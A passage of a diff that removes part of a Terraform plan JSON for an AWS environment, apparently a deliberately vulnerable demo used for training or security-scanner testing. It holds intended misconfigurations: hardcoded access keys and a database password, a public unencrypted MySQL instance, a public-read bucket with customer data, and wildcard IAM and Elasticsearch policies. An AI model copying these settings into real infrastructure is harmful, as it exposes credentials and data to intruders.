- "db_endpoint": { - "expression": { - "references": [ - "aws_db_instance.default" - ] - }, - "description": "DB Endpoint" - }, - "ec2_public_dns": { - "expression": { - "references": [ - "aws_instance.web_host" - ] - }, - "description": "Web Host Public DNS name" - }, - "endpoint": { - "expression": { - "references": [ - "aws_eks_cluster.eks_cluster" - ] - } - }, - "kubeconfig-certificate-authority-data": { - "expression": { - "references": [ - "aws_eks_cluster.eks_cluster" - ] - } - }, - "public_subnet": { - "expression": { - "references": [ - "aws_subnet.web_subnet" - ] - }, - "description": "The ID of the Public subnet" - }, - "public_subnet2": { - "expression": { - "references": [ - "aws_subnet.web_subnet2" - ] - }, - "description": "The ID of the Public subnet" - }, - "secret": { - "expression": { - "references": [ - "aws_iam_access_key.user" - ] - } - }, - "username": { - "expression": { - "references": [ - "aws_iam_user.user" - ] - } - }, - "vpc_id": { - "expression": { - "references": [ - "aws_vpc.web_vpc" - ] - }, - "description": "The ID of the VPC" - } - }, - "resources": [ - { - "address": "aws_db_instance.default", - "mode": "managed", - "type": "aws_db_instance", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "allocated_storage": { - "constant_value": "20" - }, - "apply_immediately": { - "constant_value": true - }, - "backup_retention_period": { - "constant_value": 0 - }, - "db_subnet_group_name": { - "references": [ - "aws_db_subnet_group.default" - ] - }, - "engine": { - "constant_value": "mysql" - }, - "engine_version": { - "constant_value": "8.0" - }, - "identifier": { - "references": [ - "local.resource_prefix" - ] - }, - "instance_class": { - "constant_value": "db.t3.micro" - }, - "monitoring_interval": { - "constant_value": 0 - }, - "multi_az": { - "constant_value": false - }, - "name": { - "references": [ - "var.dbname" - ] - }, - "option_group_name": { - "references": [ - "aws_db_option_group.default" - ] - }, - "parameter_group_name": { - "references": [ - "aws_db_parameter_group.default" - ] - }, - "password": { - "references": [ - "var.password" - ] - }, - "publicly_accessible": { - "constant_value": true - }, - "skip_final_snapshot": { - "constant_value": true - }, - "storage_encrypted": { - "constant_value": false - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - }, - "username": { - "constant_value": "admin" - }, - "vpc_security_group_ids": { - "references": [ - "aws_security_group.default" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_db_option_group.default", - "mode": "managed", - "type": "aws_db_option_group", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "engine_name": { - "constant_value": "mysql" - }, - "major_engine_version": { - "constant_value": "8.0" - }, - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "option_group_description": { - "constant_value": "Terraform OG" - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_db_parameter_group.default", - "mode": "managed", - "type": "aws_db_parameter_group", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "description": { - "constant_value": "Terraform PG" - }, - "family": { - "constant_value": "mysql8.0" - }, - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "parameter": [ - { - "apply_method": { - "constant_value": "immediate" - }, - "name": { - "constant_value": "character_set_client" - }, - "value": { - "constant_value": "utf8" - } - }, - { - "apply_method": { - "constant_value": "immediate" - }, - "name": { - "constant_value": "character_set_server" - }, - "value": { - "constant_value": "utf8" - } - } - ], - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_db_subnet_group.default", - "mode": "managed", - "type": "aws_db_subnet_group", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "description": { - "constant_value": "Terraform DB Subnet Group" - }, - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "subnet_ids": { - "references": [ - "aws_subnet.web_subnet", - "aws_subnet.web_subnet2" - ] - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_ebs_snapshot.example_snapshot", - "mode": "managed", - "type": "aws_ebs_snapshot", - "name": "example_snapshot", - "provider_config_key": "aws", - "expressions": { - "description": { - "references": [ - "local.resource_prefix" - ] - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - }, - "volume_id": { - "references": [ - "aws_ebs_volume.web_host_storage" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_ebs_volume.web_host_storage", - "mode": "managed", - "type": "aws_ebs_volume", - "name": "web_host_storage", - "provider_config_key": "aws", - "expressions": { - "availability_zone": { - "references": [ - "var.availability_zone" - ] - }, - "size": { - "constant_value": 1 - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_ecr_repository.repository", - "mode": "managed", - "type": "aws_ecr_repository", - "name": "repository", - "provider_config_key": "aws", - "expressions": { - "image_tag_mutability": { - "constant_value": "MUTABLE" - }, - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_eks_cluster.eks_cluster", - "mode": "managed", - "type": "aws_eks_cluster", - "name": "eks_cluster", - "provider_config_key": "aws", - "expressions": { - "name": { - "references": [ - "local.eks_name" - ] - }, - "role_arn": { - "references": [ - "aws_iam_role.iam_for_eks" - ] - }, - "vpc_config": [ - { - "endpoint_private_access": { - "constant_value": true - }, - "subnet_ids": { - "references": [ - "aws_subnet.eks_subnet1", - "aws_subnet.eks_subnet2" - ] - } - } - ] - }, - "schema_version": 0, - "depends_on": [ - "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", - "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy" - ] - }, - { - "address": "aws_elasticsearch_domain.monitoring-framework", - "mode": "managed", - "type": "aws_elasticsearch_domain", - "name": "monitoring-framework", - "provider_config_key": "aws", - "expressions": { - "cluster_config": [ - { - "dedicated_master_count": { - "constant_value": 1 - }, - "dedicated_master_enabled": { - "constant_value": false - }, - "dedicated_master_type": { - "constant_value": "m4.large.elasticsearch" - }, - "instance_count": { - "constant_value": 1 - }, - "instance_type": { - "constant_value": "t2.small.elasticsearch" - } - } - ], - "domain_name": { - "references": [ - "var.environment" - ] - }, - "ebs_options": [ - { - "ebs_enabled": { - "constant_value": true - }, - "volume_size": { - "constant_value": 30 - } - } - ], - "elasticsearch_version": { - "constant_value": "2.3" - } - }, - "schema_version": 0 - }, - { - "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", - "mode": "managed", - "type": "aws_elasticsearch_domain_policy", - "name": "monitoring-framework-policy", - "provider_config_key": "aws", - "expressions": { - "access_policies": { - "references": [ - "data.aws_iam_policy_document.policy" - ] - }, - "domain_name": { - "references": [ - "aws_elasticsearch_domain.monitoring-framework" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_elb.weblb", - "mode": "managed", - "type": "aws_elb", - "name": "weblb", - "provider_config_key": "aws", - "expressions": { - "connection_draining": { - "constant_value": true - }, - "connection_draining_timeout": { - "constant_value": 400 - }, - "cross_zone_load_balancing": { - "constant_value": true - }, - "health_check": [ - { - "healthy_threshold": { - "constant_value": 2 - }, - "interval": { - "constant_value": 30 - }, - "target": { - "constant_value": "HTTP:8000/" - }, - "timeout": { - "constant_value": 3 - }, - "unhealthy_threshold": { - "constant_value": 2 - } - } - ], - "idle_timeout": { - "constant_value": 400 - }, - "instances": { - "references": [ - "aws_instance.web_host" - ] - }, - "listener": [ - { - "instance_port": { - "constant_value": 8000 - }, - "instance_protocol": { - "constant_value": "http" - }, - "lb_port": { - "constant_value": 80 - }, - "lb_protocol": { - "constant_value": "http" - } - } - ], - "name": { - "constant_value": "weblb-terraform-elb" - }, - "security_groups": { - "references": [ - "aws_security_group.web-node" - ] - }, - "subnets": { - "references": [ - "aws_subnet.web_subnet" - ] - }, - "tags": { - "constant_value": { - "Name": "foobar-terraform-elb" - } - } - }, - "schema_version": 0 - }, - { - "address": "aws_flow_log.vpcflowlogs", - "mode": "managed", - "type": "aws_flow_log", - "name": "vpcflowlogs", - "provider_config_key": "aws", - "expressions": { - "log_destination": { - "references": [ - "aws_s3_bucket.flowbucket" - ] - }, - "log_destination_type": { - "constant_value": "s3" - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - }, - "traffic_type": { - "constant_value": "ALL" - }, - "vpc_id": { - "references": [ - "aws_vpc.web_vpc" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_access_key.user", - "mode": "managed", - "type": "aws_iam_access_key", - "name": "user", - "provider_config_key": "aws", - "expressions": { - "user": { - "references": [ - "aws_iam_user.user" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_instance_profile.ec2profile", - "mode": "managed", - "type": "aws_iam_instance_profile", - "name": "ec2profile", - "provider_config_key": "aws", - "expressions": { - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "role": { - "references": [ - "aws_iam_role.ec2role" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_role.ec2role", - "mode": "managed", - "type": "aws_iam_role", - "name": "ec2role", - "provider_config_key": "aws", - "expressions": { - "assume_role_policy": { - "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" - }, - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "path": { - "constant_value": "/" - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_role.iam_for_eks", - "mode": "managed", - "type": "aws_iam_role", - "name": "iam_for_eks", - "provider_config_key": "aws", - "expressions": { - "assume_role_policy": { - "references": [ - "data.aws_iam_policy_document.iam_policy_eks" - ] - }, - "name": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_role.iam_for_lambda", - "mode": "managed", - "type": "aws_iam_role", - "name": "iam_for_lambda", - "provider_config_key": "aws", - "expressions": { - "assume_role_policy": { - "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n" - }, - "name": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_role_policy.ec2policy", - "mode": "managed", - "type": "aws_iam_role_policy", - "name": "ec2policy", - "provider_config_key": "aws", - "expressions": { - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "policy": { - "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" - }, - "role": { - "references": [ - "aws_iam_role.ec2role" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", - "mode": "managed", - "type": "aws_iam_role_policy_attachment", - "name": "policy_attachment-AmazonEKSClusterPolicy", - "provider_config_key": "aws", - "expressions": { - "policy_arn": { - "constant_value": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy" - }, - "role": { - "references": [ - "aws_iam_role.iam_for_eks" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", - "mode": "managed", - "type": "aws_iam_role_policy_attachment", - "name": "policy_attachment-AmazonEKSServicePolicy", - "provider_config_key": "aws", - "expressions": { - "policy_arn": { - "constant_value": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy" - }, - "role": { - "references": [ - "aws_iam_role.iam_for_eks" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_user.user", - "mode": "managed", - "type": "aws_iam_user", - "name": "user", - "provider_config_key": "aws", - "expressions": { - "force_destroy": { - "constant_value": true - }, - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_iam_user_policy.userpolicy", - "mode": "managed", - "type": "aws_iam_user_policy", - "name": "userpolicy", - "provider_config_key": "aws", - "expressions": { - "name": { - "constant_value": "excess_policy" - }, - "policy": { - "constant_value": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" - }, - "user": { - "references": [ - "aws_iam_user.user" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_instance.db_app", - "mode": "managed", - "type": "aws_instance", - "name": "db_app", - "provider_config_key": "aws", - "expressions": { - "ami": { - "references": [ - "data.aws_ami.amazon-linux-2" - ] - }, - "iam_instance_profile": { - "references": [ - "aws_iam_instance_profile.ec2profile" - ] - }, - "instance_type": { - "constant_value": "t2.nano" - }, - "subnet_id": { - "references": [ - "aws_subnet.web_subnet" - ] - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - }, - "user_data": { - "references": [ - "aws_db_instance.default", - "aws_db_instance.default", - "var.password", - "aws_db_instance.default" - ] - }, - "vpc_security_group_ids": { - "references": [ - "aws_security_group.web-node" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_instance.web_host", - "mode": "managed", - "type": "aws_instance", - "name": "web_host", - "provider_config_key": "aws", - "expressions": { - "ami": { - "references": [ - "var.ami" - ] - }, - "instance_type": { - "constant_value": "t2.nano" - }, - "subnet_id": { - "references": [ - "aws_subnet.web_subnet" - ] - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - }, - "user_data": { - "constant_value": "#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA\nexport AWS_SECRET_ACCESS_KEY=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\nexport AWS_DEFAULT_REGION=us-west-2\necho \"\u003ch1\u003eDeployed via Terraform\u003c/h1\u003e\" | sudo tee /var/www/html/index.html\n" - }, - "vpc_security_group_ids": { - "references": [ - "aws_security_group.web-node" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_internet_gateway.web_igw", - "mode": "managed", - "type": "aws_internet_gateway", - "name": "web_igw", - "provider_config_key": "aws", - "expressions": { - "tags": { - "references": [ - "local.resource_prefix" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.web_vpc" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_kms_alias.logs_key_alias", - "mode": "managed", - "type": "aws_kms_alias", - "name": "logs_key_alias", - "provider_config_key": "aws", - "expressions": { - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "target_key_id": { - "references": [ - "aws_kms_key.logs_key" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_kms_key.logs_key", - "mode": "managed", - "type": "aws_kms_key", - "name": "logs_key", - "provider_config_key": "aws", - "expressions": { - "deletion_window_in_days": { - "constant_value": 7 - }, - "description": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_lambda_function.analysis_lambda", - "mode": "managed", - "type": "aws_lambda_function", - "name": "analysis_lambda", - "provider_config_key": "aws", - "expressions": { - "environment": [ - { - "variables": { - "constant_value": { - "access_key": "AKIAIOSFODNN7EXAMPLE", - "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" - } - } - } - ], - "filename": { - "constant_value": "resources/lambda_function_payload.zip" - }, - "function_name": { - "references": [ - "local.resource_prefix" - ] - }, - "handler": { - "constant_value": "exports.test" - }, - "role": { - "references": [ - "aws_iam_role.iam_for_lambda" - ] - }, - "runtime": { - "constant_value": "nodejs12.x" - }, - "source_code_hash": {} - }, - "schema_version": 0 - }, - { - "address": "aws_neptune_cluster.default", - "mode": "managed", - "type": "aws_neptune_cluster", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "apply_immediately": { - "constant_value": true - }, - "backup_retention_period": { - "constant_value": 5 - }, - "cluster_identifier": { - "references": [ - "var.neptune-dbname" - ] - }, - "engine": { - "constant_value": "neptune" - }, - "iam_database_authentication_enabled": { - "constant_value": false - }, - "preferred_backup_window": { - "constant_value": "07:00-09:00" - }, - "skip_final_snapshot": { - "constant_value": true - }, - "storage_encrypted": { - "constant_value": false - } - }, - "schema_version": 0 - }, - { - "address": "aws_neptune_cluster_instance.default", - "mode": "managed", - "type": "aws_neptune_cluster_instance", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "apply_immediately": { - "constant_value": true - }, - "cluster_identifier": { - "references": [ - "aws_neptune_cluster.default" - ] - }, - "engine": { - "constant_value": "neptune" - }, - "instance_class": { - "constant_value": "db.t3.medium" - } - }, - "schema_version": 0, - "count_expression": { - "constant_value": 1 - } - }, - { - "address": "aws_neptune_cluster_snapshot.default", - "mode": "managed", - "type": "aws_neptune_cluster_snapshot", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "db_cluster_identifier": { - "references": [ - "aws_neptune_cluster.default" - ] - }, - "db_cluster_snapshot_identifier": { - "constant_value": "resourcetestsnapshot1" - } - }, - "schema_version": 0 - }, - { - "address": "aws_network_interface.web-eni", - "mode": "managed", - "type": "aws_network_interface", - "name": "web-eni", - "provider_config_key": "aws", - "expressions": { - "private_ips": { - "constant_value": [ - "172.16.10.100" - ] - }, - "subnet_id": { - "references": [ - "aws_subnet.web_subnet" - ] - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_route.public_internet_gateway", - "mode": "managed", - "type": "aws_route", - "name": "public_internet_gateway", - "provider_config_key": "aws", - "expressions": { - "destination_cidr_block": { - "constant_value": "0.0.0.0/0" - }, - "gateway_id": { - "references": [ - "aws_internet_gateway.web_igw" - ] - }, - "route_table_id": { - "references": [ - "aws_route_table.web_rtb" - ] - }, - "timeouts": { - "create": { - "constant_value": "5m" - } - } - }, - "schema_version": 0 - }, - { - "address": "aws_route_table.web_rtb", - "mode": "managed", - "type": "aws_route_table", - "name": "web_rtb", - "provider_config_key": "aws", - "expressions": { - "tags": { - "references": [ - "local.resource_prefix" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.web_vpc" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_route_table_association.rtbassoc", - "mode": "managed", - "type": "aws_route_table_association", - "name": "rtbassoc", - "provider_config_key": "aws", - "expressions": { - "route_table_id": { - "references": [ - "aws_route_table.web_rtb" - ] - }, - "subnet_id": { - "references": [ - "aws_subnet.web_subnet" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_route_table_association.rtbassoc2", - "mode": "managed", - "type": "aws_route_table_association", - "name": "rtbassoc2", - "provider_config_key": "aws", - "expressions": { - "route_table_id": { - "references": [ - "aws_route_table.web_rtb" - ] - }, - "subnet_id": { - "references": [ - "aws_subnet.web_subnet2" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_s3_bucket.data", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "data", - "provider_config_key": "aws", - "expressions": { - "acl": { - "constant_value": "public-read" - }, - "bucket": { - "references": [ - "local.resource_prefix" - ] - }, - "force_destroy": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_s3_bucket.data_science", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "data_science", - "provider_config_key": "aws", - "expressions": { - "acl": { - "constant_value": "private" - }, - "bucket": { - "references": [ - "local.resource_prefix" - ] - }, - "force_destroy": { - "constant_value": true - }, - "logging": [ - { - "target_bucket": { - "references": [ - "aws_s3_bucket.logs" - ] - }, - "target_prefix": { - "constant_value": "log/" - } - } - ], - "versioning": [ - { - "enabled": { - "constant_value": true - } - } - ] - }, - "schema_version": 0 - }, - { - "address": "aws_s3_bucket.financials", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "financials", - "provider_config_key": "aws", - "expressions": { - "acl": { - "constant_value": "private" - }, - "bucket": { - "references": [ - "local.resource_prefix" - ] - }, - "force_destroy": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_s3_bucket.flowbucket", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "flowbucket", - "provider_config_key": "aws", - "expressions": { - "bucket": { - "references": [ - "local.resource_prefix" - ] - }, - "force_destroy": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_s3_bucket.logs", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "logs", - "provider_config_key": "aws", - "expressions": { - "acl": { - "constant_value": "log-delivery-write" - }, - "bucket": { - "references": [ - "local.resource_prefix" - ] - }, - "force_destroy": { - "constant_value": true - }, - "server_side_encryption_configuration": [ - { - "rule": [ - { - "apply_server_side_encryption_by_default": [ - { - "kms_master_key_id": { - "references": [ - "aws_kms_key.logs_key" - ] - }, - "sse_algorithm": { - "constant_value": "aws:kms" - } - } - ] - } - ] - } - ], - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - }, - "versioning": [ - { - "enabled": { - "constant_value": true - } - } - ] - }, - "schema_version": 0 - }, - { - "address": "aws_s3_bucket.operations", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "operations", - "provider_config_key": "aws", - "expressions": { - "acl": { - "constant_value": "private" - }, - "bucket": { - "references": [ - "local.resource_prefix" - ] - }, - "force_destroy": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - }, - "versioning": [ - { - "enabled": { - "constant_value": true - } - } - ] - }, - "schema_version": 0 - }, - { - "address": "aws_s3_bucket_object.data_object", - "mode": "managed", - "type": "aws_s3_bucket_object", - "name": "data_object", - "provider_config_key": "aws", - "expressions": { - "bucket": { - "references": [ - "aws_s3_bucket.data" - ] - }, - "key": { - "constant_value": "customer-master.xlsx" - }, - "source": { - "constant_value": "resources/customer-master.xlsx" - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_security_group.default", - "mode": "managed", - "type": "aws_security_group", - "name": "default", - "provider_config_key": "aws", - "expressions": { - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.resource_prefix" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.web_vpc" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_security_group.web-node", - "mode": "managed", - "type": "aws_security_group", - "name": "web-node", - "provider_config_key": "aws", - "expressions": { - "description": { - "references": [ - "local.resource_prefix" - ] - }, - "name": { - "references": [ - "local.resource_prefix" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.web_vpc" - ] - } - }, - "schema_version": 1, - "depends_on": [ - "aws_vpc.web_vpc" - ] - }, - { - "address": "aws_security_group_rule.egress", - "mode": "managed", - "type": "aws_security_group_rule", - "name": "egress", - "provider_config_key": "aws", - "expressions": { - "cidr_blocks": { - "constant_value": [ - "0.0.0.0/0" - ] - }, - "from_port": { - "constant_value": 0 - }, - "protocol": { - "constant_value": "-1" - }, - "security_group_id": { - "references": [ - "aws_security_group.default" - ] - }, - "to_port": { - "constant_value": 0 - }, - "type": { - "constant_value": "egress" - } - }, - "schema_version": 2 - }, - { - "address": "aws_security_group_rule.ingress", - "mode": "managed", - "type": "aws_security_group_rule", - "name": "ingress", - "provider_config_key": "aws", - "expressions": { - "cidr_blocks": { - "references": [ - "aws_vpc.web_vpc" - ] - }, - "from_port": { - "constant_value": "3306" - }, - "protocol": { - "constant_value": "tcp" - }, - "security_group_id": { - "references": [ - "aws_security_group.default" - ] - }, - "to_port": { - "constant_value": "3306" - }, - "type": { - "constant_value": "ingress" - } - }, - "schema_version": 2 - }, - { - "address": "aws_subnet.eks_subnet1", - "mode": "managed", - "type": "aws_subnet", - "name": "eks_subnet1", - "provider_config_key": "aws", - "expressions": { - "availability_zone": { - "references": [ - "var.availability_zone" - ] - }, - "cidr_block": { - "constant_value": "10.10.10.0/24" - }, - "map_public_ip_on_launch": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.eks_name" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.eks_vpc" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_subnet.eks_subnet2", - "mode": "managed", - "type": "aws_subnet", - "name": "eks_subnet2", - "provider_config_key": "aws", - "expressions": { - "availability_zone": { - "references": [ - "var.availability_zone2" - ] - }, - "cidr_block": { - "constant_value": "10.10.11.0/24" - }, - "map_public_ip_on_launch": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix", - "local.eks_name" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.eks_vpc" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_subnet.web_subnet", - "mode": "managed", - "type": "aws_subnet", - "name": "web_subnet", - "provider_config_key": "aws", - "expressions": { - "availability_zone": { - "references": [ - "var.availability_zone" - ] - }, - "cidr_block": { - "constant_value": "172.16.10.0/24" - }, - "map_public_ip_on_launch": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.web_vpc" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_subnet.web_subnet2", - "mode": "managed", - "type": "aws_subnet", - "name": "web_subnet2", - "provider_config_key": "aws", - "expressions": { - "availability_zone": { - "references": [ - "var.availability_zone2" - ] - }, - "cidr_block": { - "constant_value": "172.16.11.0/24" - }, - "map_public_ip_on_launch": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - }, - "vpc_id": { - "references": [ - "aws_vpc.web_vpc" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_volume_attachment.ebs_att", - "mode": "managed", - "type": "aws_volume_attachment", - "name": "ebs_att", - "provider_config_key": "aws", - "expressions": { - "device_name": { - "constant_value": "/dev/sdh" - }, - "instance_id": { - "references": [ - "aws_instance.web_host" - ] - }, - "volume_id": { - "references": [ - "aws_ebs_volume.web_host_storage" - ] - } - }, - "schema_version": 0 - }, - { - "address": "aws_vpc.eks_vpc", - "mode": "managed", - "type": "aws_vpc", - "name": "eks_vpc", - "provider_config_key": "aws", - "expressions": { - "cidr_block": { - "constant_value": "10.10.0.0/16" - }, - "enable_dns_hostnames": { - "constant_value": true - }, - "enable_dns_support": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 1 - }, - { - "address": "aws_vpc.web_vpc", - "mode": "managed", - "type": "aws_vpc", - "name": "web_vpc", - "provider_config_key": "aws", - "expressions": { - "cidr_block": { - "constant_value": "172.16.0.0/16" - }, - "enable_dns_hostnames": { - "constant_value": true - }, - "enable_dns_support": { - "constant_value": true - }, - "tags": { - "references": [ - "local.resource_prefix" - ] - } - }, - "schema_version": 1 - }, - { - "address": "null_resource.push_image", - "mode": "managed", - "type": "null_resource", - "name": "push_image", - "provider_config_key": "null", - "provisioners": [ - { - "type": "local-exec", - "expressions": { - "command": { - "references": [ - "var.region", - "data.aws_caller_identity.current", - "var.region", - "aws_ecr_repository.repository", - "aws_ecr_repository.repository", - "local.docker_image", - "local.docker_image" - ] - }, - "working_dir": { - "references": [ - "path.module" - ] - } - } - } - ], - "schema_version": 0 - }, - { - "address": "data.aws_ami.amazon-linux-2", - "mode": "data", - "type": "aws_ami", - "name": "amazon-linux-2", - "provider_config_key": "aws", - "expressions": { - "filter": [ - { - "name": { - "constant_value": "owner-alias" - }, - "values": { - "constant_value": [ - "amazon" - ] - } - }, - { - "name": { - "constant_value": "name" - }, - "values": { - "constant_value": [ - "amzn2-ami-hvm-*-x86_64-ebs" - ] - } - } - ], - "most_recent": { - "constant_value": true - }, - "owners": { - "constant_value": [ - "amazon" - ] - } - }, - "schema_version": 0 - }, - { - "address": "data.aws_caller_identity.current", - "mode": "data", - "type": "aws_caller_identity", - "name": "current", - "provider_config_key": "aws", - "schema_version": 0 - }, - { - "address": "data.aws_iam_policy_document.iam_policy_eks", - "mode": "data", - "type": "aws_iam_policy_document", - "name": "iam_policy_eks", - "provider_config_key": "aws", - "expressions": { - "statement": [ - { - "actions": { - "constant_value": [ - "sts:AssumeRole" - ] - }, - "effect": { - "constant_value": "Allow" - }, - "principals": [ - { - "identifiers": { - "constant_value": [ - "eks.amazonaws.com" - ] - }, - "type": { - "constant_value": "Service" - } - } - ] - } - ] - }, - "schema_version": 0 - }, - { - "address": "data.aws_iam_policy_document.policy", - "mode": "data", - "type": "aws_iam_policy_document", - "name": "policy", - "provider_config_key": "aws", - "expressions": { - "statement": [ - { - "actions": { - "constant_value": [ - "es:*" - ] - }, - "principals": [ - { - "identifiers": { - "constant_value": [ - "*" - ] - }, - "type": { - "constant_value": "AWS" - } - } - ], - "resources": { - "constant_value": [ - "*" - ] - } - } - ] - }, - "schema_version": 0 - } - ], - "variables": { - "ami": { - "default": "ami-09a5b0b7edf08843d" - }, - "availability_zone": { - "default": "us-west-2a" - }, - "availability_zone2": { - "default": "us-west-2b" - }, - "company_name": { - "default": "acme" - }, - "dbname": { - "default": "db1", - "description": "Name of the Database" - }, - "environment": { - "default": "dev" - }, - "neptune-dbname": { - "default": "neptunedb1", - "description": "Name of the Neptune graph database" - }, - "password": { - "default": "Aa1234321Bb", - "description": "Database password" - }, - "profile": { - "default": "default" - }, - "region": { - "default": "us-west-2" - } 